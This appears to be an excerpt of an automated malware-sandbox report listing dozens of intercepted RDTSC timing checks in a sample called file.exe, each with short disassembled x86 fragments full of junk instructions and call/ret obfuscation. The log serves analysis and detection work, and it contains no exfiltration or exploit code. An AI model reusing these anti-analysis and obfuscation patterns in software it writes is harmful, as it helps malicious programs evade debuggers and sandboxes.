Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101642A second address: 101642E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101642E second address: 1016469 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CE44013h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d jo 00007F0C5CE44008h 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F0C5CE4400Fh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016469 second address: 101647D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC49420h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101647D second address: 1016487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0C5CE44006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016487 second address: 101648B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10164C8 second address: 1016545 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0C5CE44008h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, 5B2E4A05h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F0C5CE44008h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c call 00007F0C5CE4400Bh 0x00000031 push edx 0x00000032 pop edx 0x00000033 pop edi 0x00000034 jmp 00007F0C5CE44017h 0x00000039 call 00007F0C5CE44009h 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F0C5CE44017h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016545 second address: 101654E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101654E second address: 1016559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016559 second address: 1016599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F0C5CC49429h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0C5CC49427h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016599 second address: 101659E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101659E second address: 10165B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016690 second address: 101669A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101669A second address: 1016705 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F0C5CC49427h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push edx 0x0000001f jnc 00007F0C5CC4942Ch 0x00000025 pop edx 0x00000026 pop eax 0x00000027 movsx edx, dx 0x0000002a lea ebx, dword ptr [ebp+12458310h] 0x00000030 mov dword ptr [ebp+122D18B9h], ecx 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jp 00007F0C5CC49416h 0x00000040 push eax 0x00000041 pop eax 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10167F2 second address: 10167F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10167F7 second address: 101686D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CBCB6D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 2A2C91D9h 0x00000010 sub dword ptr [ebp+122D3044h], edx 0x00000016 lea ebx, dword ptr [ebp+12458319h] 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F0C5CBCB6C8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 jmp 00007F0C5CBCB6D5h 0x0000003b sub dword ptr [ebp+122DB59Bh], edi 0x00000041 xchg eax, ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 ja 00007F0C5CBCB6C6h 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101686D second address: 1016873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016873 second address: 10168A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CBCB6D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F0C5CBCB6CBh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10168A0 second address: 10168A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101693C second address: 101699A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jne 00007F0C5CBCB6C6h 0x0000000e popad 0x0000000f popad 0x00000010 add dword ptr [esp], 5BB05AD9h 0x00000017 jnl 00007F0C5CBCB6CCh 0x0000001d push 00000003h 0x0000001f mov di, 59EFh 0x00000023 push 00000000h 0x00000025 call 00007F0C5CBCB6D5h 0x0000002a mov esi, dword ptr [ebp+122D1E1Bh] 0x00000030 pop esi 0x00000031 push 00000003h 0x00000033 mov dword ptr [ebp+122D28F4h], ecx 0x00000039 push 888EB9D7h 0x0000003e push eax 0x0000003f push edx 0x00000040 jnl 00007F0C5CBCB6C8h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101699A second address: 10169A4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0C5DC268ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFAF65 second address: FFAF7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5CBCB6D5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034D21 second address: 1034D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0C5DC268ABh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034D35 second address: 1034D39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103519D second address: 10351B2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0C5DC268A6h 0x00000008 jmp 00007F0C5DC268ABh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035309 second address: 103532A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jl 00007F0C5CBCB6D4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103557B second address: 1035583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035583 second address: 1035592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnp 00007F0C5CBCB6C8h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035592 second address: 1035597 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10356DA second address: 10356E4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10356E4 second address: 10356E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035ADB second address: 1035AE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10364F3 second address: 10364FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036654 second address: 103666F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0C5CBCB6C6h 0x0000000a jmp 00007F0C5CBCB6D1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038C42 second address: 1038C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0C5DC268B6h 0x0000000b popad 0x0000000c jmp 00007F0C5DC268AFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038C6E second address: 1038C82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CBCB6CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038C82 second address: 1038CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F0C5DC268A6h 0x0000000f jmp 00007F0C5DC268B1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103EAC2 second address: 103EAC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104263E second address: 1042654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5DC268B2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041C70 second address: 1041C76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041C76 second address: 1041C7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042250 second address: 1042255 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10423D7 second address: 10423E1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0C5DC268A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10423E1 second address: 10423FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0C5CBCB6D5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104351E second address: 1043560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnp 00007F0C5DC268A8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F0C5DC268B4h 0x00000017 mov eax, dword ptr [eax] 0x00000019 jc 00007F0C5DC268B2h 0x0000001f jns 00007F0C5DC268ACh 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 pushad 0x0000002a push edi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043560 second address: 1043595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F0C5CBCB6CEh 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e popad 0x0000000f pop eax 0x00000010 push 4BCF3701h 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007F0C5CBCB6D5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043A5D second address: 1043A66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043A66 second address: 1043A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044227 second address: 104424C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0C5DC268ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007F0C5DC268B0h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044447 second address: 104444C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10446AF second address: 10446B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044CDD second address: 1044D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0C5CBCB6CCh 0x0000000a jp 00007F0C5CBCB6C6h 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F0C5CBCB6C8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D30F0h], ecx 0x00000034 call 00007F0C5CBCB6CFh 0x00000039 mov dword ptr [ebp+1247DD85h], ebx 0x0000003f pop edi 0x00000040 push 00000000h 0x00000042 push edx 0x00000043 pushad 0x00000044 or ecx, 41169623h 0x0000004a xor dword ptr [ebp+122D1B92h], edi 0x00000050 popad 0x00000051 pop esi 0x00000052 push 00000000h 0x00000054 push 00000000h 0x00000056 push ebx 0x00000057 call 00007F0C5CBCB6C8h 0x0000005c pop ebx 0x0000005d mov dword ptr [esp+04h], ebx 0x00000061 add dword ptr [esp+04h], 00000016h 0x00000069 inc ebx 0x0000006a push ebx 0x0000006b ret 0x0000006c pop ebx 0x0000006d ret 0x0000006e jmp 00007F0C5CBCB6D1h 0x00000073 xchg eax, ebx 0x00000074 push eax 0x00000075 push edx 0x00000076 push ecx 0x00000077 pushad 0x00000078 popad 0x00000079 pop ecx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045610 second address: 1045615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047DB3 second address: 1047DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047DB7 second address: 1047E03 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jno 00007F0C5DC268A8h 0x0000000e pushad 0x0000000f jng 00007F0C5DC268A6h 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 popad 0x00000019 nop 0x0000001a push 00000000h 0x0000001c add esi, dword ptr [ebp+122D345Ch] 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007F0C5DC268A8h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 00000014h 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e push eax 0x0000003f jc 00007F0C5DC268B0h 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049403 second address: 1049496 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CBCB6D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F0C5CBCB6C8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov esi, ebx 0x00000029 push 00000000h 0x0000002b jnl 00007F0C5CBCB6CCh 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007F0C5CBCB6C8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d mov esi, 212BCB3Bh 0x00000052 xchg eax, ebx 0x00000053 jmp 00007F0C5CBCB6D6h 0x00000058 push eax 0x00000059 pushad 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049496 second address: 10494B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5DC268B4h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10494B3 second address: 10494B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049DB9 second address: 1049DBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FE1A second address: 104FE74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CBCB6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d add ebx, dword ptr [ebp+122D32EDh] 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D177Dh], ecx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F0C5CBCB6C8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a jc 00007F0C5CBCB6C8h 0x00000040 push esi 0x00000041 pop esi 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050F2B second address: 1050F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F0C5DC268ACh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050F40 second address: 1050F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5CBCB6CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050F51 second address: 1050FB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DC268B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F0C5DC268A8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007F0C5DC268A8h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 push 00000000h 0x00000044 add dword ptr [ebp+122D1B68h], ecx 0x0000004a push eax 0x0000004b pushad 0x0000004c push edi 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052170 second address: 10521F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CBCB6CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jmp 00007F0C5CBCB6D3h 0x00000010 pop edi 0x00000011 nop 0x00000012 mov edi, 458E009Dh 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F0C5CBCB6C8h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 jnc 00007F0C5CBCB6DDh 0x00000039 mov ebx, dword ptr [ebp+1247C4D3h] 0x0000003f push 00000000h 0x00000041 jmp 00007F0C5CBCB6D1h 0x00000046 xchg eax, esi 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a push edi 0x0000004b pop edi 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10521F8 second address: 1052212 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DC268ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jno 00007F0C5DC268A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052212 second address: 1052222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jo 00007F0C5CBCB6CEh 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10568A2 second address: 10568E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 pushad 0x00000009 xor dword ptr [ebp+122D2DBEh], eax 0x0000000f mov si, C980h 0x00000013 popad 0x00000014 push 00000000h 0x00000016 mov edi, eax 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F0C5DC268A8h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 xor dword ptr [ebp+122D19BAh], edx 0x0000003a xchg eax, esi 0x0000003b pushad 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10568E8 second address: 10568F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10568F3 second address: 10568F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058797 second address: 10587AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5CBCB6D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058840 second address: 1058845 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
